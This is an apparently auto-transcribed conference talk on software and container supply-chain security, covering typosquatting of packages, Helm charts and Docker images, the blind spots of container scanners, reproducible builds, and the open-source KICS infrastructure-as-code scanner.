 All of them are famous problems related to software security, but all of them regardless how big or how problematic the problem was, all these bugs were completely innocent. The developers did it not maliciously, they didn't intend to do it. When the problem was discovered, they tried really hard to fix it. That's one of the things which is completely different from our aspect of supply chain, because at least with the way we look at supply chain, we look at people who try to do malicious stuff. They try to hurt you in purpose and not exploit non-malicious issues. If we're talking about software security and we're still not in supply chain, those who cannot remember the past are condemned to repeat it, that's a known phrase. If we're looking at the trend of CVEs, we see a big increase. Both because we have more software, both because we have more bug bounties and more researchers trying to find issues. I guess that some of it are not very interesting issues or issues with very unpopular software. But of course, some of it is very important, very big issues and we can't ignore it. You can see both the trend in graphs and numbers, both of these statistics were taken in the last few days. Now when we're talking about new avenues of software or infrastructure, we're going to talk about something as code and we have plenty of it. We have infrastructure code, policies code and a lot of other stuff we'll see in next. That makes me think what happens to those who don't learn from the present. We're not talking about the past but just recent present. I want to review a few of the things we've seen just in recent August. Everything I'm going to show in the next few slides is from the past month, month and a bit. I'm going backwards. We saw the first phishing attack against Pipe users trying to steal accounts and then they can of course upload packages, of course, target popular packages. But these actions people do intentionally, they try to steal stuff. It's not innocent mistakes anymore and when they succeed and if they succeed, the things they're going to upload are not going to be innocent problems with the packages. We saw a threat actor publishes more than a thousand malicious Pipe and NPM packages. They took either existing packages and duplicated them or tried to add something on top or tried to do as little change as possible to fake the renewal package. But now you have a lot of others and 1,000 might be a drop at the sea for both Pipe and NPM but if they have a mechanism that does this automatically and if they succeed and wouldn't be caught then they can increase the numbers until they succeed and that's quite different from the methods of someone trying to do one package manually, maybe it works, maybe it doesn't. It doesn't have a lot of resources. With these numbers at some point they'll succeed. That is just statistics. We saw another user try to strike with Taipo squatting, starjacking and especially tailored packages with malware and both starjacking is trying to get credits from another project and making the reputation of others and then when you check the package you think, oh it has 1,000 stars, 2,000 stars, 5,000 stars, everything looks okay. It looks like a good choice but it's completely malicious. Taipo squatting you choose a different name or something which is relatively similar to the origin and then people might get confused. I think popular add IO to the end, to the beginning, something in between, dot IO or whatever. Some packages you just add pi at the end if it's on Python related or something else. Another famous example although it's completely not malicious can be Angular and AngularJS. Both of them actually exist and it's confusing for a lot of people. Google at some point switch from one to the other. In another Taipo squatting campaign that's early on, sorry, in mid-August, targeting Python's top packages again trying to get malware into these packages or something which is a copycat of them. With such a similar name it might be actually confusing. The last one we're going to go over and that's from the beginning of August is another campaign to create fake GitHub projects. All of them are clones of existing projects. I did one or two commits with malware trying to hit them. In that case it wasn't uploaded to other places but it caught the attention because we monitor GitHub as well. All of these few items are stuff which our software supply chain team both tracks, catches and reports to others. We intentionally report on all of these actions both for the community to know, for other security company to know and of course that's been reported to the relevant entity, GitHub, NPM, PyPy, whatever registry which is relevant. Trying to help them make the code they host more secure or at least eliminate the bad actors from these repositories and it's a daily and continuous work each day or actually also each night. The team gets new reports, new problems, new things. They are marked as suspicious and need to be checked and we see a lot of completely weird stuff and the sophistication level of the attackers gets higher. Going back to something as code we talked to about infrastructure, Docker files, Helm charts, AWS cloud formation and the parlance from other vendors and so on. We see policy configuration and actually there's a trend that says everything as code, even your anything you might program or might do manually you might find a way to automate it, build a framework for it and do it in a more automatic way. And that's in a lot of cases actually good. But from my perspective there's a disadvantage because along all the benefits it brings both the efficiency, the ability to reuse and to repeat the same things. You want to deploy the same exact and same environment in a few places use the exact same configuration on a few both deployments, environments, projects, whatever it makes everything much more easier. And of course if it's code and it's usually easier to maintain and then we enjoy the benefits of software development life cycle, GitOps, Git in general and so on. And anything you benefit from saving it as text and something you can easily change. But we also get dependencies or famous from other places, dependencies as hell and also supply chain problems and some of them we just saw with software mostly around Python scripts and JavaScript but it's true for the whole ecosystem. Go has its own problems because of direct dependencies or no repository which fixates the packages and versions you download everything else source. Ruby has its own problems Java of course. So these two are just the biggest examples but it's not unique to any of these languages and it's not the fault of the languages or the developers. It's something important to say. If we're talking about the efficiency of some infrastructure as code we're talking about the from of Docker files which are based on other Docker images and other Docker files. Include by the way wasn't accepted. I checked and I saw that it was requested a few times but it wasn't allowed. Terraform has its template. Kubernetes has the helm charts. CloudFormation actually does have an include option for that and many more. And this is great efficiency to have and it's important for us to use it but then again we're starting to use sources not written by us or by peers in our company or in the organization we trust and trust is an important thing. We start to get in files and sources and templates from the while the internet and then we need to start to think. Do we trust them? Do we not? How do we check them? If we check them and most people don't check them. How many of you just saw instruction of how to install something? Yes, add this helm charts repository edit just do install and that's it. You never check the details. You didn't read all of the files. Probably this my guess is very little of you did it. Same way a lot of people who install NPM packages or other packages don't check the pre-installed scripts the post install scripts which is by way another attack vector done on these packages. You might get a completely non-malicious package except the pre-installed line which brings something new to your system or try to mess with the dependencies and then it's different from what is being declared. If we're talking about supply chain and containers specifically first in a lot of cases there's a challenge to finding the right container which is the process in a lot of cases similar to finding the right NPM pipeline package by others. Of course most of you use base images or whatever for especially the distribution itself sometimes for something higher in the application stack would it be the programming language the application server like Node.js or something else Java and so on and then you try to do only your bit on top of this container trying to find the largest base container you can so your portion would be the smallest which makes a lot of sense from maintenance perspective. I want to do only my part I'm trusting others to do their part and using the benefiting from the ecosystem which is of course great don't understand me wrong but when you try to find it that's a process which have some risk in it and when you find something how much would you trust it so we'll do it together I want to for example to use Minayo it's a project I used quite extensively in the last year and a half and it's a popular project I'm going to GitHub it has 35,000 stars it's quite popular there's a startup that supports it everything here looks perfect now I want to find a container or a Helm Chow to install it first okay I'll go to Artifact Hub I'll search Minayo and already I have a few results and here the confusion starts because some of it might be official some of it might not be official I have no idea who to trust and who's not and even if we're trying to see who's the official channel there might be difference between what we want and what they supply for example we have something that says Minayo official it has two stars it was updated 10 days ago and the image has de-security rating I have no idea if it's actually official it's updated relatively recently but I'm not sure the version doesn't say hello to me by the way and notice there's both version and up version which is confusing if we check in something else we see another Minayo the repo is Bitnami both the up version and the version are completely different so I have no idea what I'm getting here and there it has more stars it's a verified publishers but the images have lower rating security rating and I'm still not talking about what's behind this security rating so what would I check I have another one which says sorry this was updated a day ago okay maybe it's better maybe it's worse I have another one with the logo of Minayo the repo is Minayo again what's the difference between Minayo and Minayo official updated two years ago very nice version it's not clear version 8 and version 4 version 4 is from 10 days ago version 8 is from 2 years ago it starts to be a little bit confusing and the clarity here is not always easy to understand and this is relatively a very simple example by the way if you look at this something else still the official logo 9 hours ago from a verified publisher I have no idea whose true chart is it and how true is it no idea okay and then I might go to try to find something or what's the source the project refers to would it be okay for me what's the difference between what Bitnami brings and I don't know it's a verified publisher it might be better and so on all of these issues are part of something I look at it as levels of typosquoting we have a logo for that because we reported quite a lot on different areas but in this case we have problem both with the Helen chart name and other infrastructures cause it's the same problem we might have problem with the container name which is the next phase and of course later on when you have a specific container we might talk about the status of the software packages in it are they updated not updated do they have CVs and so on and again we have the same problem with trying to find the right container we just looked for the right Helm chart and again I'm going to look at this time at Docker Hub I'm sorry to remove the header and I see bitnami verified publisher updated a day ago looks great 10 million downloads and 50 stars I'm not sure the ratio makes sense but 10 million downloads I think it's good enough again Docker Hub verified publisher interesting I see another verified publisher Rancher Minayo Minayo updated two years ago doesn't make sense IBM com it's a big company Minayo update three years ago but it's a verified publisher what does it bring me differently than bitnami the number of downloads starts to go lower and lower 10 million 1 million 10k this one is the client so we'll drop it for a second I have no idea and that's the first page if we continue actually the official images is Minayo Minayo it has no specific logo it was updated depends on the image if you're looking for the client or the server and this one has 500 million downloads but that's not the top result bitnami is the top result because it's a verified publisher and that's a point we might get confused what does the status of a verified publisher means when we need to select something and what's the process of becoming that and in how many cases these verified publishers are not the official release and I'm not talking about the content yet I'm talking about where the origin source and which is the open source project which produces these images and this gets more and more confused and we're talking about projects with these stars on Github it's quite popular, it's a big infrastructure if we take more esoteric examples the results are going to be more weirder and weirder and harder to find out what's going on there we'll look at another example and remember we still haven't talked about the contents of the container we'll talk about container supply chain there's recently I saw a blog post I'll reference in a few slides about the content of the official WordPress container that's actually published on Docker Hub they don't have an organization because it's official so it's just WordPress comparing to something else and you see that Docker file has from PHP some variant of PHP both the versions and the web server that Docker file has which is based on Debian Buster which is one of the flavors of Debian and Dash Slim we know that we have containers we have different layers you can see these different layers I'm not going into the content of each of them but just to have in mind that whenever you install WordPress from the official container you actually get the official container of the PHP project and then something from Debian distribution that's actually official in this case as well if you want to look at the container sorry the Docker files themselves you're more than welcome that's a little bit of reverse engineering to understand what we're having because that's the easiest way if you want to look at other ways or the metadata the container has it starts to get a little bit more cryptic so it's easier to look at the Docker file itself if it's available if we look at the Debian container it actually has from scratch and you have a root file system that's it so in this case we have no idea what's going on in there and how can we trust it when people just say okay take my terrible use it as your system can we trust it can we not trust it and so on and if you look at where the files are at you see the addresses start to be a little bit weird it's not github.com. and it might make sense it's an artifact but I think it's I don't know and I'm a Debian developer and that started to look a little bit weird for me so I kept digging and I end up in a web page that says Debian Docker image checksums and you have the complete numbers and all the checksums it's available it's actually available on Debian domain and Debian has both dot org and dot net so if you want to verify at least Debian you have some way to do it which at least lower the my level of suspicion but again I didn't check the numbers themselves and I would expect people and especially on mission critical systems and production to find a way to do it but I guess almost no one does it and the question is if something gets changed would we know it and in this case the question is after you've seen all that do you feel safe exactly it's probably I guess most of you start okay I'm feeling a little bit weird and that weird feeling is good because that would hopefully make you at some point start to check your environment and I want to give you a different question in that sense that who said that the docker images sorry the docker files I showed you are the actual docker files used to create those containers we have no idea we can guess we can think they're relatively similar but we're not sure there's no way to do it to make sure in a one to one relationship and to verify that and that's something not done when you upload an image to docker hub you're not required to upload the sources of the container both the docker file you don't need to upload it the other sources it's not a requirement and then comparing that to the way for example in Linux distribution works where you have all of the sources all of the scripts available for production and that's a big difference in a lot of cases and I've done it for the last 15 years as part of Debian I build everything on my machine I make sure it works I verify the binary and I can decide if I want to upload all of the sources and one binary to the servers to the build servers or just the sources they build the whole platform for every architecture in that case Debian supports it's the same for reddit Canonical and every distribution out there they build all the artifacts and we know it's coming from the same source and again how would you know it or how would you verify that is a critical task which is not something which has a definite answer and that's something from my perspective of supply chain which is very worrisome you might say okay I'm safe because I can just scan the container that's a good answer but it's a wrong answer because and this is an article published by Dan Lornek he's actually part of the conference he published it two weeks ago and his title is what your scanner and container scanner doesn't know can't, sorry can't hurt you and what he's describing in his blow post is that the container scanners are dependent on what the distribution package manager or the software package manager like pipi npm and so on would report is installed in the container and this is what it actually scans and I wouldn't repeat because Dan did a nice job in the blog post and gave a few examples I wouldn't repeat it live if you're interested you can look at the link at the bottom and I checked a few other scanners on top of one of what Dan checked and some of them has extra rules for new cases or new edge cases for example if you install node not from the node packages some of the container scanners might notice that but it's one application server very specific one I'm not sure if it's related to the location so on there are easy ways to hide it and if you're looking at these scanners to report about content and then CVEs it's relatively easy to fool them because they're taking the naive approach which in a lot of cases is good or good enough but if we're talking about supply chain it's not good at all because we trust too much about what we have in the container and the version being reported I can go to the registry inside the container and change the versions to something which doesn't have a CVE and give you whatever binary I want because you'll have no idea because the scanner doesn't have any idea and that leads me to the importance of metadata we have in the container so if container scanners mostly and this is something worth mentioning if they mostly verify the package what package manager see important otherwise we're going to see nothing or be blind we want to invest more in those custom scan rules for popular special cases no GSS I mentioned but remember that's an endless game of cat and mouse or wakamoli or whatever you want to call it because people who want to attack will find a different way which is not part of your world if your scanner is open sourced it's disadvantage of they also know what you're doing which is still okay but it's part of the game and one of the results we want to do is re-use existing artifacts instead of rebuilding them and that's quite important because a lot of people decide to rebuild again and again or build from source and that has its benefit because you control the build but in a lot of cases it has the disadvantage because you're now the one responsible for security upgrading the versions, applying patch if it's relevant because the patch might already be available but it's not being released officially or as official version and so on and here in some cases building from source instead of relying on an official distribution both the Linux one and the whole ecosystem and also true for a few certain softwares sometimes like shooting yourself in the leg you take a lot of responsibility on you and probably on your organization and now you need to give the answers or be responsible for them and going back to the WordPress example in that case they use the official PHP images which are built from source do not use the PHP packages built by Debian and hence they don't get the treatment of the both the Debian security team the PHP team at Debian which does a lot of work to make sure they have all the newest patches taken even before the official release and I know that because I've done that in the past and this is also why I chose the example I know how much hard we work as part of Debian to make sure the security fix is available as soon as possible and not only as the regular release which might be once a month once in two months and so on depends on which project and what the release policy is sometimes we have security issues which are not critical enough to deem a new release but as maintainers of that package we want to include it because we have a lot of users and we feel responsible and that's also something we did at the PHP team in Debian another benefit of reusing existing artifacts sorry, wrong direction is that if we are based on a Linux distribution it has its own mechanisms for example in this case Debian I looked at the rootFS container I showed you earlier I actually opened the tar file to check what in it and I saw the files which are based for the Debian packaging systems and one of these files is actually MD5 sums of all the files including the binaries and this means I can start verifying stuff because I'm based on an official Linux distribution I have something to compare it to so I know what's in my Debian containers actually something I would get if I would install Debian on a VM or regular machine or whatever it's easy to check and especially the important part are both the libraries and binaries if someone changed the main page the documentation I don't care that's something I would be happy to actually remove from the container because it's not relevant but this verification is only possible if you're basing yourself on a regular Linux distribution and you didn't try to do something in between to reduce the size or to remove the metadata and in that case welcome to Distribless Container this is a work by Google from 2017 which takes some of the binaries from the distribution but removes a lot of the data we can use to verify these images the process it's not so friendly to say at least and it's easier to verify things even if we wanted and the benefit of size doesn't always means we have a benefit in security yes it's nice to remove access packages some stuff we don't need documentation other main pages translation to other languages that's all make sense but if you don't give me a way to verify the binaries in the container I would start to worry and that metadata is quite important yesterday I heard a talk by Canonical to say how they created their own quote-unquote distributionness containers and they found a way to better chop the packages but they keep the metadata so that's a much better way and lets us at least verify stuff if we want to the reason I'm mentioning availability is because the Linux distribution works hard to make sure their builds are reproducible it's enough for being done in Debian for the last I would say 10-12 years the credit for the team is well deserved and that make sure whenever the binary is built it has the same checksum no timestamp in it things which we can verify both over time both over different architecture and it's quite important and that's something I think we should keep for containers because otherwise we might lose the great benefits of this work and that's important for security from security perspective we can enjoy how the ecosystem works and in this case and especially around security sent us double checks and recipes to build because it uses all of them and that's a great service I'm not talking about licensing and other stuff it's true for Ubuntu and does it the same for Debian and who does it for containers do we know of a project that verify containers I wish we have all the sources and in most cases the answer is no we have a way to we usually accept containers which we send stuff from website tar balls and just extract them that's not necessarily a good way for reproduction you might say yes we'll just sign containers we have great framework for cost sign which is a great solution to verify the origin but it doesn't help to get type of squatting all of the containers and hand charts I saw you earlier could be signed and then you have the same choice between signed containers or keys used to sign could be easily faked there's one time emails and so on it's easier to take over someone's github account and then sign in his behalf so every mechanism we need to think what would happen as part of the supply chain and at the end it just verifies the origin it doesn't mean the container is safe there was earlier this week there were a few hackers injected malware into an extension done for Magento they injected into the proprietary extensions not to the open source because they know they were signed and shipped automatically to all the clients and we're talking about over 200,000 downloads so signature is great to make sure it's come from a verified source but it doesn't mean the source is actually could be trustworthy and it's a supplier welcome to supply chain if we're talking about solutions and I'll do it quite fast we need to talk about container creation best practices we need to get the code from verified sources we want to prefer gith for accountability and transparency that's better than writing checksums which you can't verify or verify from a weird website we want to go with that in a different level to also do it for the software and we want access to docker files which is not always available and I think that is one of the questions we want people to ask if we're talking about securing container creation that's where kicks keep infrastructure as code secure project is one of the ways at least one of the ways I'm interested in doing that it's an OPPA based rule sorry it's OPPA based scanner that go over your docker files health charts and whatever infrastructure code formats you have it applies some of the checks with Salsa it's available as complete open source on github although it's funded by a commercial company the project is completely open source and free example for these kind of scans would you want to block docker files which download or extract a tower ball as a bad practice you can have a rule against it in the process of writing something like that and we try to balance between too wide or too narrow for that world because in some cases it might be acceptable you want to check your base images are they okay are they verified are the source trusted were they scanned and so on and that's something that we're in the process to to achieve Kix is supporting a lot of platforms beside docker and docker files and health charts we try to support everything cloud native release from this week introduce crossplane Pulumi the YAML version serverless and K-native and it's already adopted by github so it's actually working and working quite well I leave this for key takeaways they're both containers and infrastructures code is code infra but it's actually still software with software we have the same problem with regular software packages biggest one of them at least to date is supply chain and we have to verify things in our supply chain because we don't want to take things from strangers and that's the logo for our supply chain team just a quick example for typosquoting all of you probably know salsa everyone call it salsa but if you go to the website salsa.dev you'll get this okay this is actually salsa.dev but if you go to github and you go github.com slash salsa you get this because the project is actually salsa without the A and that's a great example for typosquoting inside our own trying efforts to secure it okay thank you very much I'm available for questions both here or our side according to our time limits and thank you very much for listening thank you very much guys what would be your number one could you repeat it for the mic of course so what would be your number one recommendation for those of us walking out of the room terrified what we should do immediately well being terrified it's still a larger problem for all of us okay so you're in good hands out of no better alternative I would start checking first the two things that worry me are first checking the base images because their effect is the biggest if someone tried to take over the account of one of the distributions base images would it be Alpa and Debian, Canonical whatever I think the whole ecosystem is a very bad place so these I want to make sure they are verified the second that container scanners at date check only part of the packages and started part of the information we need to check them more thoroughly both checking the diffs and checking what's been added okay so even if you don't use a few levels of base images make sure you know what's the content make sure you have access to the docker files you can reproduce it and then I think the level of wariness could be lower gladly further questions thank you very much guys